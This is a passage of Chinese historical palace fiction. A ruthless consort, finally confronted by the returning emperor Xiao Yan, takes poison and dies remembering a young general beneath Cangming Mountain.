她最终成了她之前最讨厌的人，玩弄权术，残害人命，甚至对稚子下手。 所以当赵德全汇报宫里起了时疫，她竟然松了一口气，把人送走，自己就不必动手了。 皇帝御驾亲征，死讯传来，她心中既有巨大的解脱，也有灭顶的恐慌，父亲加紧行动，她却隐隐感到不安。 当萧琰如同天神般再度杀回京城，平定一切，出现在她面前时，她反而异常平静。 这场持续了半生的错位悲剧，该结束了。 她换上最隆重的宫装，仔细梳妆，仿佛要去赴一场期待已久的约会。毒药入喉，并不太苦，反而带来一种解脱。 “陛下赢了。”她轻声道，目光掠过他，望向虚空。 她看着萧琰冲过来的惊怒面容，忽然觉得有些可笑。他困住了她的人，却从未得到过她分毫。 意识涣散时，她仿佛又回到了苍鸣山下，河水淙淙，阳光透过树叶洒下光斑，一个英武的将军骑着马，笑着向她伸出手…